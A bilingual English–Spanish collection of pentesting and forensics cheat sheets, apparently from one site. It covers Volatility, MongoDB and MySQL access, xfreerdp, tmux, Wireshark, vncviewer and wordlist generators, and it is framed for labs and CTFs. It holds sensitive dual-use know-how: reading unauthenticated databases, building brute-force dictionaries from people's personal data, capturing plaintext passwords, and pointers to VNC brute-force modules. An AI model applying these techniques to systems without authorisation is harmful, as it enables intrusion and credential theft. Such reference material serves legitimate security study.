| Reinstalación local | Usa los archivos ya presentes en el disco | Más rápida, pero puede arrastrar restos si el sistema estaba dañado o infectado |
## Limpieza de datos: rápida vs segura
| Opción | Qué hace | Cuándo elegirla |
| --------------------------------- | ---------------------------------------------------------------------- | -------------------------------------------------------------------------------------------- |
| ❌ Simplemente quitar mis archivos | Borrado rápido — los archivos podrían recuperarse con software forense | Uso personal, te quedas con el equipo |
| ✅ Limpiar datos (recomendado) | Borrado seguro del disco completo, mucho más lento | Vas a vender, regalar o desechar el equipo — evita que el siguiente dueño recupere tus datos |
> Desde el punto de vista de seguridad, la diferencia entre estas dos opciones es exactamente la diferencia entre *borrar* un archivo y *sobrescribirlo*: un borrado rápido solo elimina la referencia al archivo en el sistema de ficheros, pero los datos siguen físicamente en el disco hasta que algo los sobrescribe — recuperables con herramientas forenses estándar.
## Después del reset
- Windows arranca con la configuración de fábrica, sin tus aplicaciones ni archivos previos
- Tendrás que reinstalar programas y restaurar tu copia de seguridad
- Es un buen momento para activar BitLocker, revisar Windows Update y desinstalar el bloatware que venga preinstalado
### Volatility
URL: https://thehacksparrow.com/volatility/
Last updated: 2026-09-23T10:26:25.000Z
> Volatility is the reference framework for **volatile memory (RAM) forensic analysis**: from a memory dump, it lists processes, network connections, open handles, loaded DLLs, and extracts injected files or payloads. This cheat sheet uses Volatility 3.
| **Type** | CLI (Python) |
| --------- | -------------------------------------- |
| **Input** | RAM memory dump (.raw, .mem, .vmem...) |

## 1\. Identify OS and processes
```bash
python3 vol.py -f memory.raw windows.info # Windows version, architecture
python3 vol.py -f memory.raw windows.pslist # process list
python3 vol.py -f memory.raw windows.pstree # process tree (who launched whom)
python3 vol.py -f memory.raw windows.cmdline # each process's command line
```
## 2\. Network — connections (netstat)
```bash
python3 vol.py -f memory.raw windows.netscan
python3 vol.py -f memory.raw windows.netscan | grep 4444 # by port
python3 vol.py -f memory.raw windows.netscan | grep 192.168.1.50 # by IP
python3 vol.py -f memory.raw windows.netscan | grep ESTABLISHED # by state
```
> On PowerShell, use `findstr` instead of `grep`.
## 3\. Handles — files, registry keys, mutexes
```bash
python3 vol.py -f memory.raw windows.handles
python3 vol.py -f memory.raw windows.handles --pid 1234
python3 vol.py -f memory.raw windows.handles --pid 1234 | grep File
python3 vol.py -f memory.raw windows.handles --pid 1234 | grep -i temp
```
- See if a process has `C:\Users\...\AppData\Roaming\...` open
- Find unusual mutexes (`Mutant`) typical of malware
- See registry keys (`Key`) touched by a process
## 4\. DLLs loaded by a process
```bash
python3 vol.py -f memory.raw windows.dlllist --pid 1234
python3 vol.py -f memory.raw windows.dlllist --pid 1234 | grep -i appdata
```
## 5\. Finding and extracting files
```bash
python3 vol.py -f memory.raw windows.filescan
python3 vol.py -f memory.raw windows.filescan | grep -i "evil.exe"
# with the offset found:
python3 vol.py -f memory.raw -o out/ windows.dumpfiles --virtaddr 0xDEADBEEF
```
## 6\. A process's memory
```bash
python3 vol.py -f memory.raw windows.memmap --pid 1234 # memory ranges
python3 vol.py -f memory.raw windows.vadinfo --pid 1234 # VADs
python3 vol.py -f memory.raw -o out/ windows.vadump --pid 1234 # full VAD dump
```
Useful for extracting injected payloads and analysing suspicious executable sections.
## 7\. Strings — IOCs, URLs, commands
```bash
strings -a memory.raw | grep -i "http"
strings -a memory.raw | grep -i "powershell"
```
## Recommended mini-flow
```text
python3 vol.py -f memory.raw windows.info
python3 vol.py -f memory.raw windows.pslist
python3 vol.py -f memory.raw windows.pstree
python3 vol.py -f memory.raw windows.netscan
# for a suspicious PID:
python3 vol.py -f memory.raw windows.cmdline --pid 1234
python3 vol.py -f memory.raw windows.dlllist --pid 1234
python3 vol.py -f memory.raw windows.handles --pid 1234
# find and extract a suspicious file:
python3 vol.py -f memory.raw windows.filescan | grep -i "evil.exe"
python3 vol.py -f memory.raw -o out/ windows.dumpfiles --virtaddr 0x...
```
## Responsible use
> These commands are for **systems you own or have explicit written authorisation to test** (labs, CTFs, contracted engagements). Using them against third-party infrastructure without permission is illegal in most countries.
> Volatility es el framework de referencia para **análisis forense de memoria volátil** (RAM): a partir de un volcado de memoria, permite listar procesos, conexiones de red, handles abiertos, DLLs cargadas, y extraer ficheros o payloads inyectados. Esta chuleta usa Volatility 3.
| **Tipo** | CLI (Python) |
| ----------- | --------------------------------------------- |
| **Entrada** | Volcado de memoria RAM (.raw, .mem, .vmem...) |

## 1\. Identificar SO y procesos
```bash
python3 vol.py -f memoria.raw windows.info # version de Windows, arquitectura
python3 vol.py -f memoria.raw windows.pslist # lista de procesos
python3 vol.py -f memoria.raw windows.pstree # arbol de procesos (quien lanzo a quien)
python3 vol.py -f memoria.raw windows.cmdline # linea de comandos de cada proceso
```
## 2\. Red — conexiones (netstat)
```bash
python3 vol.py -f memoria.raw windows.netscan
python3 vol.py -f memoria.raw windows.netscan | grep 4444 # por puerto
python3 vol.py -f memoria.raw windows.netscan | grep 192.168.1.50 # por IP
python3 vol.py -f memoria.raw windows.netscan | grep ESTABLISHED # por estado
```
> En PowerShell, usa `findstr` en vez de `grep`.
## 3\. Handles — archivos, claves de registro, mutex
```bash
python3 vol.py -f memoria.raw windows.handles
python3 vol.py -f memoria.raw windows.handles --pid 1234
python3 vol.py -f memoria.raw windows.handles --pid 1234 | grep File
python3 vol.py -f memoria.raw windows.handles --pid 1234 | grep -i temp
```
- Ver si un proceso tiene abierto `C:\Users\...\AppData\Roaming\...`
- Encontrar mutex raros (`Mutant`) típicos de malware
- Ver claves de registro (`Key`) tocadas por un proceso
## 4\. DLLs cargadas por un proceso
```bash
python3 vol.py -f memoria.raw windows.dlllist --pid 1234
python3 vol.py -f memoria.raw windows.dlllist --pid 1234 | grep -i appdata
```
## 5\. Buscar y extraer archivos
```bash
python3 vol.py -f memoria.raw windows.filescan
python3 vol.py -f memoria.raw windows.filescan | grep -i "evil.exe"
# con el offset encontrado:
python3 vol.py -f memoria.raw -o out/ windows.dumpfiles --virtaddr 0xDEADBEEF
```
## 6\. Memoria de un proceso
```bash
python3 vol.py -f memoria.raw windows.memmap --pid 1234 # rangos de memoria
python3 vol.py -f memoria.raw windows.vadinfo --pid 1234 # VADs
python3 vol.py -f memoria.raw -o out/ windows.vadump --pid 1234 # dump completo de un VAD
```
Útil para extraer payloads inyectados y analizar secciones ejecutables sospechosas.
## 7\. Strings — IOCs, URLs, comandos
```bash
strings -a memoria.raw | grep -i "http"
strings -a memoria.raw | grep -i "powershell"
```
## Mini flujo recomendado
```text
python3 vol.py -f memoria.raw windows.info
python3 vol.py -f memoria.raw windows.pslist
python3 vol.py -f memoria.raw windows.pstree
python3 vol.py -f memoria.raw windows.netscan
# ante un PID sospechoso:
python3 vol.py -f memoria.raw windows.cmdline --pid 1234
python3 vol.py -f memoria.raw windows.dlllist --pid 1234
python3 vol.py -f memoria.raw windows.handles --pid 1234
# buscar y extraer un archivo sospechoso:
python3 vol.py -f memoria.raw windows.filescan | grep -i "evil.exe"
python3 vol.py -f memoria.raw -o out/ windows.dumpfiles --virtaddr 0x...
```
## Uso responsable
> Estos comandos son para **entornos propios o con autorización explícita por escrito** (laboratorios, CTF, auditorías contratadas). Usarlos contra infraestructura ajena sin permiso es ilegal en la mayoría de países.
### MongoDB
URL: https://thehacksparrow.com/mongodb/
Last updated: 2026-09-23T10:26:26.000Z
> MongoDB is a **document-oriented NoSQL** database (databases → collections → BSON/JSON documents, instead of tables and rows). Very relevant in pentesting because it often **ships without authentication enabled** and listens on port **27017/tcp**, allowing full database reads without a password.
| **Type** | CLI |
| ---------------- | ----- |
| **Default port** | 27017 |

## Connecting
| Client | When to use it |
| ------------------ | ----------------------------------------------------------------------------------- |
| mongo :27017 | Legacy client — recommended for old machines (supports MongoDB 3.x, typical on HTB) |
| mongosh :27017 | Modern client — **does NOT work with MongoDB 3.x** (wire protocol version error) |
| mongo | Local connection, no host |
## Basic shell commands
```javascript
show dbs // list databases
use // switch database
show collections // list collections (tables)
db..find() // view documents
db..find().pretty() // view documents formatted
db..count() // count documents
db..find({ "field": "value" }) // filtered search
```
## Advanced commands
```javascript
db // current database
db.stats() // DB statistics
db.serverStatus() // server info
db.getCollectionInfos() // collections with stats
```
## Dump / export
```bash
mongoexport --host --db --collection --out file.json
mongodump --host # saved into dump/
```
## Standard HTB procedure
```text
nmap -sC -sV -p-
# identify MongoDB on 27017
mongo :27017
show dbs
use sensitive_information
show collections
db.flag.find()
```
> 🔥 This path solves 90% of MongoDB machines on HTB.
## Common errors
| Error | Fix |
| --------------------------------- | --------------------------------------------------------------------- |
| "mongo: command not found" | The client isn't installed — use manually downloaded binaries |
| "mongosh requires wire version 7" | The server is too old (3.x) — use legacy mongo, NOT mongosh |
| "Authentication failed" | The server has auth enabled — you need valid credentials |
| "Connection refused" | MongoDB isn't listening or is filtered — check with nmap -p27017 |
## Responsible use
> These commands are for **systems you own or have explicit written authorisation to test** (labs, CTFs, contracted engagements). Using them against third-party infrastructure without permission is illegal in most countries.
> MongoDB es una base de datos **NoSQL orientada a documentos** (bases de datos → colecciones → documentos BSON/JSON, en vez de tablas y filas). Muy relevante en pentesting porque a menudo **no tiene autenticación habilitada** y escucha en el puerto **27017/tcp**, permitiendo leer bases completas sin contraseña.
| **Tipo** | CLI |
| ---------------------- | ----- |
| **Puerto por defecto** | 27017 |

## Conexión
| Cliente | Cuándo usarlo |
| ------------------ | -------------------------------------------------------------------------------------- |
| mongo :27017 | Cliente legacy — recomendado para máquinas viejas (soporta MongoDB 3.x, típico en HTB) |
| mongosh :27017 | Cliente moderno — **NO funciona con MongoDB 3.x** (error de wire protocol version) |
| mongo | Conexión local sin host |
## Comandos básicos dentro de la shell
```javascript
show dbs // listar bases de datos
use // cambiar de base
show collections // listar colecciones (tablas)
db..find() // ver documentos
db..find().pretty() // ver documentos con formato
db..count() // contar documentos
db..find({ "campo": "valor" }) // buscar con filtro
```
## Comandos avanzados
```javascript
db // base de datos actual
db.stats() // estadisticas de la DB
db.serverStatus() // info del servidor
db.getCollectionInfos() // colecciones con estadisticas
```
## Dump / exportar
```bash
mongoexport --host --db --collection --out fichero.json
mongodump --host # se guarda en dump/
```
## Procedimiento estándar en HTB
```text
nmap -sC -sV -p-
# identificar MongoDB en 27017
mongo :27017
show dbs
use sensitive_information
show collections
db.flag.find()
```
> 🔥 Este camino resuelve el 90% de las máquinas con MongoDB en HTB.
## Errores comunes
| Error | Solución |
| --------------------------------- | --------------------------------------------------------------------- |
| "mongo: command not found" | El cliente no está instalado — usa binarios descargados manualmente |
| "mongosh requires wire version 7" | El servidor es demasiado antiguo (3.x) — usa mongo legacy, NO mongosh |
| "Authentication failed" | El servidor tiene auth activado — necesitas credenciales válidas |
| "Connection refused" | MongoDB no escucha o está filtrado — comprueba con nmap -p27017 |
## Uso responsable
> Estos comandos son para **entornos propios o con autorización explícita por escrito** (laboratorios, CTF, auditorías contratadas). Usarlos contra infraestructura ajena sin permiso es ilegal en la mayoría de países.
### xfreerdp
URL: https://thehacksparrow.com/xfreerdp/
Last updated: 2026-09-23T10:26:26.000Z
> xfreerdp is an **RDP** (Remote Desktop Protocol) client for connecting to Windows remote desktops from Linux. Syntax always follows the same pattern: `xfreerdp /v: /u: /p: `.
| **Type** | CLI |
| ---------------- | ---- |
| **Default port** | 3389 |

## Main options
| Flag | What it sets |
| ----------------------------- | -------------------------------------------------------------------------- |
| /v:\[:port\] | Target server (defaults to port 3389, no need to specify it) |
| /u: | Windows username |
| /p: | Password — empty /p: if there isn't one (typical for Administrator on HTB) |
| /cert:ignore | Ignores certificate errors (always recommended on HTB) |
| /dynamic-resolution | Adjusts resolution automatically when resizing |
| /f | Fullscreen (toggle with Ctrl+Alt+Enter) |
| +clipboard | Enables copy/paste between your machine and the remote one |
| /size:WidthxHeight or /w: /h: | Manual resolution |
| /admin | Connects to the "console session" (useful if sessions are already open) |
## Full examples for HTB
Administrator with no password:
```bash
xfreerdp /v:10.129.1.13 /u:Administrator /p: /cert:ignore /dynamic-resolution +clipboard
```
With a username and password:
```bash
xfreerdp /v:10.129.40.48 /u:User1 /p:Password123 /cert:ignore +clipboard
```
Fullscreen:
```bash
xfreerdp /v:10.129.40.48 /u:Administrator /p: /f /cert:ignore
```
Specific resolution:
```bash
xfreerdp /v:10.129.40.48 /u:Administrator /p: /size:1600x900
```
## Common errors
| Error | Cause / fix |
| ----------------------- | ------------------------------------------------------------------ |
| "Invalid Sigil" | Missing : in /u or /v — use /u:Administrator, not /u Administrator |
| Certificate error | Add /cert:ignore |
| Black screen on connect | Try /gfx or /network:lan |
| Clipboard doesn't work | Add +clipboard |
## Responsible use
> These commands are for **systems you own or have explicit written authorisation to test** (labs, CTFs, contracted engagements). Using them against third-party infrastructure without permission is illegal in most countries.
> xfreerdp es un cliente **RDP** (Remote Desktop Protocol) para conectarse a escritorios remotos de Windows desde Linux. Sintaxis siempre con el mismo patrón: `xfreerdp /v: /u: /p: `.
| **Tipo** | CLI |
| ---------------------- | ---- |
| **Puerto por defecto** | 3389 |

## Opciones principales
| Flag | Qué indica |
| -------------------------- | -------------------------------------------------------------------- |
| /v:\[:puerto\] | Servidor objetivo (puerto 3389 por defecto, no hace falta ponerlo) |
| /u: | Usuario de Windows |
| /p: | Contraseña — /p: vacío si no tiene (típico del Administrator en HTB) |
| /cert:ignore | Ignora errores de certificado (recomendado siempre en HTB) |
| /dynamic-resolution | Ajusta la resolución automáticamente al redimensionar |
| /f | Pantalla completa (alternar con Ctrl+Alt+Enter) |
| +clipboard | Habilita copiar/pegar entre tu máquina y el remoto |
| /size:AnchoxAlto o /w: /h: | Resolución manual |
| /admin | Conecta a la "console session" (útil si ya hay sesiones abiertas) |
## Ejemplos completos para HTB
Administrator sin contraseña:
```bash
xfreerdp /v:10.129.1.13 /u:Administrator /p: /cert:ignore /dynamic-resolution +clipboard
```
Con usuario y contraseña:
```bash
xfreerdp /v:10.129.40.48 /u:User1 /p:Password123 /cert:ignore +clipboard
```
Pantalla completa:
```bash
xfreerdp /v:10.129.40.48 /u:Administrator /p: /f /cert:ignore
```
Resolución concreta:
```bash
xfreerdp /v:10.129.40.48 /u:Administrator /p: /size:1600x900
```
## Errores típicos
| Error | Causa / solución |
| --------------------------- | ----------------------------------------------------------------- |
| "Invalid Sigil" | Falta el : en /u o /v — usa /u:Administrator, no /u Administrator |
| Error de certificado | Añade /cert:ignore |
| Pantalla negra al conectar | Prueba /gfx o /network:lan |
| No funciona el portapapeles | Añade +clipboard |
## Uso responsable
> Estos comandos son para **entornos propios o con autorización explícita por escrito** (laboratorios, CTF, auditorías contratadas). Usarlos contra infraestructura ajena sin permiso es ilegal en la mayoría de países.
### tmux
URL: https://thehacksparrow.com/tmux/
Last updated: 2026-09-23T10:26:27.000Z
> tmux is a terminal multiplexer: it lets you have **several terminals on one screen** (panes), and keep sessions alive even if the SSH connection drops. Essential for running several tools in parallel during a CTF or engagement.
| **Type** | CLI |
| ------------ | -------------------- |
| **Platform** | Kali / Linux / macOS |

## Splitting the screen
```bash
tmux # enter a session
```
| Action | Shortcut |
| ------------------------------- | -------------------------- |
| Split vertically (side by side) | Ctrl+b % |
| Split horizontally (top/bottom) | Ctrl+b " |
| Move between panes | Ctrl+b + arrows |
| Resize a pane | Ctrl+b, hold Ctrl + arrows |
| Maximise a pane | Ctrl+b z |
| Close a pane | exit or Ctrl+d |
## Sessions
| Action | Command |
| ---------------------- | ------------------- |
| Create a session | tmux |
| Create a named session | tmux new -s name |
| List sessions | tmux ls |
| Attach to a session | tmux attach -t name |
| Detach without closing | Ctrl+b, then d |
## Windows
| Action | Shortcut |
| ------------- | ----------------------- |
| New window | Ctrl+b, then c |
| Switch window | Ctrl+b, then number 0-9 |
| Rename window | Ctrl+b, then , |
## Other useful ones
| Action | Shortcut |
| ---------------- | --------- |
| Copy (copy mode) | Ctrl+b \[ |
| Paste | Ctrl+b \] |
| Show clock | Ctrl+b t |
## Responsible use
> These commands are for **systems you own or have explicit written authorisation to test** (labs, CTFs, contracted engagements). Using them against third-party infrastructure without permission is illegal in most countries.
> tmux es un multiplexor de terminal: permite tener **varias terminales en una sola pantalla** (paneles), y mantener sesiones vivas aunque se corte la conexión SSH. Imprescindible para llevar varias herramientas en paralelo durante un CTF o engagement.
| **Tipo** | CLI |
| -------------- | -------------------- |
| **Plataforma** | Kali / Linux / macOS |

## Dividir la pantalla
```bash
tmux # entrar en una sesión
```
| Acción | Atajo |
| --------------------------------- | ------------------------------- |
| Dividir vertical (lado a lado) | Ctrl+b % |
| Dividir horizontal (arriba/abajo) | Ctrl+b " |
| Moverte entre paneles | Ctrl+b + flechas |
| Ajustar tamaño de panel | Ctrl+b, mantener Ctrl + flechas |
| Maximizar un panel | Ctrl+b z |
| Cerrar un panel | exit o Ctrl+d |
## Sesiones
| Acción | Comando |
| -------------------------- | --------------------- |
| Crear sesión | tmux |
| Crear sesión con nombre | tmux new -s nombre |
| Listar sesiones | tmux ls |
| Adjuntar a una sesión | tmux attach -t nombre |
| Salir sin cerrar la sesión | Ctrl+b, luego d |
## Ventanas
| Acción | Atajo |
| ------------------ | ------------------------ |
| Nueva ventana | Ctrl+b, luego c |
| Cambiar de ventana | Ctrl+b, luego número 0-9 |
| Renombrar ventana | Ctrl+b, luego , |
## Otros útiles
| Acción | Atajo |
| ------------------ | --------- |
| Copiar (modo copy) | Ctrl+b \[ |
| Pegar | Ctrl+b \] |
| Ver reloj | Ctrl+b t |
## Uso responsable
> Estos comandos son para **entornos propios o con autorización explícita por escrito** (laboratorios, CTF, auditorías contratadas). Usarlos contra infraestructura ajena sin permiso es ilegal en la mayoría de países.
### MySQL
URL: https://thehacksparrow.com/mysql/
Last updated: 2026-09-23T10:26:27.000Z
> The **mysql** client connects to MySQL/MariaDB servers (port 3306, very common on HTB machines) to enumerate databases and extract data once you have credentials — or if the service doesn't require authentication.
| **Type** | CLI |
| ---------------- | ---- |
| **Default port** | 3306 |

## Connecting
```bash
mysql -u -p # prompts for password
mysql -u -p -h # remote host
mysql -u -p # jump straight into a database
```
## Databases and tables
```bash
SHOW DATABASES;
USE ;
SHOW TABLES;
DESCRIBE ;
SELECT * FROM LIMIT 10;
```
## Insert / update / delete
```bash
INSERT INTO (col1, col2) VALUES ('value1', 'value2');
UPDATE SET col='new' WHERE id=1;
DELETE FROM WHERE id=1;
```
## Create / drop
```bash
CREATE DATABASE ;
CREATE TABLE example (
id INT AUTO_INCREMENT PRIMARY KEY,
name VARCHAR(50)
);
DROP TABLE ;
DROP DATABASE ;
```
```text
EXIT;
```
## Responsible use
> These commands are for **systems you own or have explicit written authorisation to test** (labs, CTFs, contracted engagements). Using them against third-party infrastructure without permission is illegal in most countries.
> El cliente **mysql** conecta a servidores MySQL/MariaDB (puerto 3306, muy común en máquinas de HTB) para enumerar bases de datos y extraer datos una vez tienes credenciales — o si el servicio no requiere autenticación.
| **Tipo** | CLI |
| ---------------------- | ---- |
| **Puerto por defecto** | 3306 |

## Conectarse
```bash
mysql -u -p # pide contraseña
mysql -u -p -h # host remoto
mysql -u -p # entrar directo a una base
```
## Bases de datos y tablas
```bash
SHOW DATABASES;
USE ;
SHOW TABLES;
DESCRIBE ;
SELECT * FROM LIMIT 10;
```
## Insertar / actualizar / borrar
```bash
INSERT INTO (col1, col2) VALUES ('valor1', 'valor2');
UPDATE SET col='nuevo' WHERE id=1;
DELETE FROM WHERE id=1;
```
## Crear / borrar
```bash
CREATE DATABASE ;
CREATE TABLE ejemplo (
id INT AUTO_INCREMENT PRIMARY KEY,
nombre VARCHAR(50)
);
DROP TABLE ;
DROP DATABASE ;
```
```text
EXIT;
```
## Uso responsable
> Estos comandos son para **entornos propios o con autorización explícita por escrito** (laboratorios, CTF, auditorías contratadas). Usarlos contra infraestructura ajena sin permiso es ilegal en la mayoría de países.
### Wordlists (Custom Dictionaries)
URL: https://thehacksparrow.com/wordlists/
Last updated: 2026-09-23T10:26:28.000Z
> When a generic wordlist (rockyou) isn't enough, these tools generate **custom dictionaries** for brute-force attacks and password audits: CUPP (personal data), Crunch (patterns), Mentalist (GUI) and CeWL (scraping a website).
| **Type** | 4 CLI/GUI tools |
| ------------ | ------------------------------------------ |
| **Platform** | Kali / Linux (Mentalist is cross-platform) |

## 1\. CUPP — per-person password profiling
Builds custom wordlists using personal data (name, pet, dates, interests...). Ideal when you have public data about the target person (social media).
```bash
sudo apt install cupp # if not already installed
cupp -i # interactive mode, asks questions
cupp -w data.txt # generate from a data file
```
## 2\. Crunch — pattern-based combinations
Generates wordlists with combinations of letters, numbers, and fixed patterns.
```bash
crunch 4 6 abc123 -o output.txt # 4-6 char words, using abc123
crunch 8 8 -t Pe%%202@ -o output.txt
```
> In patterns: `%` \= digit, `@` \= lowercase letter, `,` \= special character. Example result for `Pe%%202@`: `Pe21 202q`.
## 3\. Mentalist — visual generator (GUI)
A graphical app (Windows/Linux/Mac) for combining words, mutations (uppercase, digits, substitutions like a→4, e→3), suffixes and prefixes, exporting the final dictionary. Ideal if you prefer a visual tool.
## 4\. CeWL — wordlists from a website
Builds dictionaries by scraping a page's content — useful for company-specific wordlists based on public content.
```bash
sudo apt install cewl
cewl https://example.com # basic
cewl https://example.com -w list.txt # save to a file
cewl https://example.com -d 2 -w list.txt # depth 2 (follows links)
cewl https://example.com -m 5 -w list.txt # minimum word length
cewl https://example.com -e -w emails.txt # also extract emails
```
## Responsible use
> These commands are for **systems you own or have explicit written authorisation to test** (labs, CTFs, contracted engagements). Using them against third-party infrastructure without permission is illegal in most countries.
> Cuando una wordlist genérica (rockyou) no basta, estas herramientas generan **diccionarios personalizados** para ataques de fuerza bruta y auditorías de contraseñas: CUPP (datos personales), Crunch (patrones), Mentalist (GUI) y CeWL (scraping de una web).
| **Tipo** | 4 herramientas CLI/GUI |
| -------------- | ---------------------------------------- |
| **Plataforma** | Kali / Linux (Mentalist multiplataforma) |

## 1\. CUPP — perfil de contraseñas por persona
Crea wordlists personalizadas usando datos personales (nombre, mascota, fechas, gustos...). Ideal cuando tienes datos públicos de la persona objetivo (redes sociales).
```bash
sudo apt install cupp # si no viene ya
cupp -i # modo interactivo, hace preguntas
cupp -w datos.txt # generar desde un archivo de datos
```
## 2\. Crunch — combinaciones por patrón
Genera wordlists con combinaciones de letras, números y patrones fijos.
```bash
crunch 4 6 abc123 -o salida.txt # palabras de 4-6 caracteres, con abc123
crunch 8 8 -t Pe%%202@ -o salida.txt
```
> En los patrones: `%` \= número, `@` \= letra minúscula, `,` \= carácter especial. Ejemplo de resultado con `Pe%%202@`: `Pe21 202q`.
## 3\. Mentalist — generador visual (GUI)
Aplicación gráfica (Windows/Linux/Mac) para combinar palabras, mutaciones (mayúsculas, números, sustituciones tipo a→4, e→3), sufijos y prefijos, exportando el diccionario final. Ideal si prefieres una herramienta visual.
## 4\. CeWL — wordlists desde una web
Crea diccionarios analizando el contenido de una página (scraping) — útil para wordlists específicas de una empresa basadas en contenido público.
```bash
sudo apt install cewl
cewl https://example.com # basico
cewl https://example.com -w lista.txt # guardar en archivo
cewl https://example.com -d 2 -w lista.txt # profundidad 2 (sigue enlaces)
cewl https://example.com -m 5 -w lista.txt # longitud minima de palabra
cewl https://example.com -e -w correos.txt # extraer tambien correos
```
## Uso responsable
> Estos comandos son para **entornos propios o con autorización explícita por escrito** (laboratorios, CTF, auditorías contratadas). Usarlos contra infraestructura ajena sin permiso es ilegal en la mayoría de países.
### Wireshark
URL: https://thehacksparrow.com/wireshark/
Last updated: 2026-09-23T10:26:28.000Z
> Wireshark is a network traffic analyser that lets you **capture, inspect and filter packets in real time**. A fundamental tool in cybersecurity, networking, and forensic analysis.
| **Type** | GUI |
| ------------ | ------------------------------ |
| **Platform** | Kali / Linux / Windows / macOS |

## 1\. Capture filters (BPF, before capturing)
| Filter | What it does |
| -------------------------- | ------------------------ |
| host 192.168.1.10 | Filter by IP |
| src host 192.168.1.10 | Source traffic only |
| dst host 192.168.1.10 | Destination traffic only |
| net 192.168.1.0/24 | By network range |
| port 80 | By port |
| tcp / udp / icmp | By protocol |
| src port 53 / dst port 443 | Source/destination port |
## 2\. Display filters (after capturing, more powerful)
| Filter | What it shows |
| ----------------------------------- | ------------------------ |
| ip.addr == 192.168.1.10 | Traffic to/from that IP |
| tcp.port == 80 / udp.port == 53 | By port |
| tcp.flags.syn == 1 | SYN packets |
| http / http.request / http.response | HTTP traffic |
| http.request.method == "POST" | POST requests only |
| http.host == "google.com" | By HTTP host |
| dns.qry.name == "example.com" | DNS queries for a domain |
| arp.opcode == 1 / \== 2 | ARP who-has / is-at |
| icmp.type == 8 / \== 0 | Ping request / reply |
| tls.handshake | TLS/SSL handshake |
## 3\. Key shortcuts
| Shortcut | Action |
| ---------------- | ------------------ |
| Ctrl + E | Start/stop capture |
| Ctrl + F | Find |
| Ctrl + / | Clear filters |
| Ctrl + R | Restart |
| Ctrl + Shift + M | Follow TCP Stream |
## 4\. Finding plaintext passwords
```text
http.request.method == "POST"
```
Or search directly for `password`, `login`, `passwd` in the content — only works if the protocol isn't encrypted (HTTP, FTP, Telnet).
## 5\. Statistics — the essentials
| Tool | What it's for |
| --------------------- | ---------------------------------------------------------------------------------- |
| Protocol Hierarchy | See which protocols dominate traffic and spot unusual ones (Telnet, SMBv1, FTP...) |
| Conversations | Identify suspicious IPs and abnormally long connections |
| Endpoints | See every device that generated traffic |
| IO Graphs | Detect traffic spikes, DDoS, scans |
| Flow Graph | Visualise the full TCP handshake (SYN → SYN/ACK → ACK) |
| Service Response Time | See if a service (DNS, SMB, HTTP) is slow or saturated |
| Expert Information | Automatic alerts: retransmissions, duplicates, TCP errors |
> **Detecting an Nmap-style scan:** `tcp.flags.syn == 1 and tcp.flags.ack == 0`. **Detecting retransmissions:** `tcp.analysis.retransmission`.
## Responsible use
> These commands are for **systems you own or have explicit written authorisation to test** (labs, CTFs, contracted engagements). Using them against third-party infrastructure without permission is illegal in most countries.
> Wireshark es un analizador de tráfico de red que permite **capturar, inspeccionar y filtrar paquetes en tiempo real**. Herramienta fundamental en ciberseguridad, redes y análisis forense.
| **Tipo** | GUI |
| -------------- | ------------------------------ |
| **Plataforma** | Kali / Linux / Windows / macOS |

## 1\. Filtros de captura (BPF, antes de capturar)
| Filtro | Qué hace |
| -------------------------- | ---------------------- |
| host 192.168.1.10 | Filtrar por IP |
| src host 192.168.1.10 | Solo tráfico de origen |
| dst host 192.168.1.10 | Solo tráfico destino |
| net 192.168.1.0/24 | Por rango de red |
| port 80 | Por puerto |
| tcp / udp / icmp | Por protocolo |
| src port 53 / dst port 443 | Puerto origen/destino |
## 2\. Filtros de visualización (después de capturar, más potentes)
| Filtro | Qué muestra |
| ----------------------------------- | -------------------------- |
| ip.addr == 192.168.1.10 | Tráfico de/hacia esa IP |
| tcp.port == 80 / udp.port == 53 | Por puerto |
| tcp.flags.syn == 1 | Paquetes SYN |
| http / http.request / http.response | Tráfico HTTP |
| http.request.method == "POST" | Solo peticiones POST |
| http.host == "google.com" | Por host HTTP |
| dns.qry.name == "example.com" | Consultas DNS a un dominio |
| arp.opcode == 1 / \== 2 | ARP who-has / is-at |
| icmp.type == 8 / \== 0 | Ping request / reply |
| tls.handshake | Handshake TLS/SSL |
## 3\. Atajos clave
| Atajo | Acción |
| ---------------- | ------------------------------------ |
| Ctrl + E | Iniciar/detener captura |
| Ctrl + F | Buscar |
| Ctrl + / | Limpiar filtros |
| Ctrl + R | Reiniciar |
| Ctrl + Shift + M | Seguir flujo TCP (Follow TCP Stream) |
## 4\. Encontrar contraseñas en texto plano
```text
http.request.method == "POST"
```
O busca directamente `password`, `login`, `passwd` en el contenido — solo funciona si el protocolo no está cifrado (HTTP, FTP, Telnet).
## 5\. Statistics — lo esencial
| Herramienta | Para qué sirve |
| --------------------- | ------------------------------------------------------------------------------------------- |
| Protocol Hierarchy | Ver qué protocolos consumen más tráfico y detectar protocolos raros (Telnet, SMBv1, FTP...) |
| Conversations | Identificar IPs sospechosas y conexiones anormalmente largas |
| Endpoints | Ver todos los dispositivos que han generado tráfico |
| IO Graphs | Detectar picos de tráfico, DDoS, escaneos |
| Flow Graph | Visualizar el handshake TCP completo (SYN → SYN/ACK → ACK) |
| Service Response Time | Ver si un servicio (DNS, SMB, HTTP) está lento o saturado |
| Expert Information | Alertas automáticas: retransmisiones, duplicados, errores TCP |
> **Detectar un escaneo tipo Nmap:** `tcp.flags.syn == 1 and tcp.flags.ack == 0`. **Detectar retransmisiones:** `tcp.analysis.retransmission`.
## Uso responsable
> Estos comandos son para **entornos propios o con autorización explícita por escrito** (laboratorios, CTF, auditorías contratadas). Usarlos contra infraestructura ajena sin permiso es ilegal en la mayoría de países.
### vncviewer
URL: https://thehacksparrow.com/vncviewer/
Last updated: 2026-09-23T10:26:29.000Z
> vncviewer is a client for the **VNC (port 5900)** protocol that provides remote graphical access to a machine, similar to RDP but cross-platform.
| **Type** | CLI/GUI |
| ---------------- | ------- |
| **Default port** | 5900 |

## Usage
```bash
vncviewer 192.168.1.27:5900
```
> Once connected it will ask for a password. If you don't have one, Metasploit has specific **auxiliary** modules for VNC (password brute force, null-auth detection) — look for them with `search vnc` in msfconsole.
## Responsible use
> These commands are for **systems you own or have explicit written authorisation to test** (labs, CTFs, contracted engagements). Using them against third-party infrastructure without permission is illegal in most countries.
> vncviewer es un cliente para el protocolo **VNC (puerto 5900)** que permite acceso remoto gráfico a un equipo, de forma similar a RDP pero multiplataforma.
| **Tipo** | CLI/GUI |
| ---------------------- | ------- |
| **Puerto por defecto** | 5900 |

## Uso
```bash
vncviewer 192.168.1.27:5900
```
> Al conectar pedirá una contraseña. Si no la tienes, en Metasploit hay módulos **auxiliary** específicos para VNC (fuerza bruta de contraseña, detección de autenticación nula) — búscalos con `search vnc` en msfconsole.
## Uso responsable
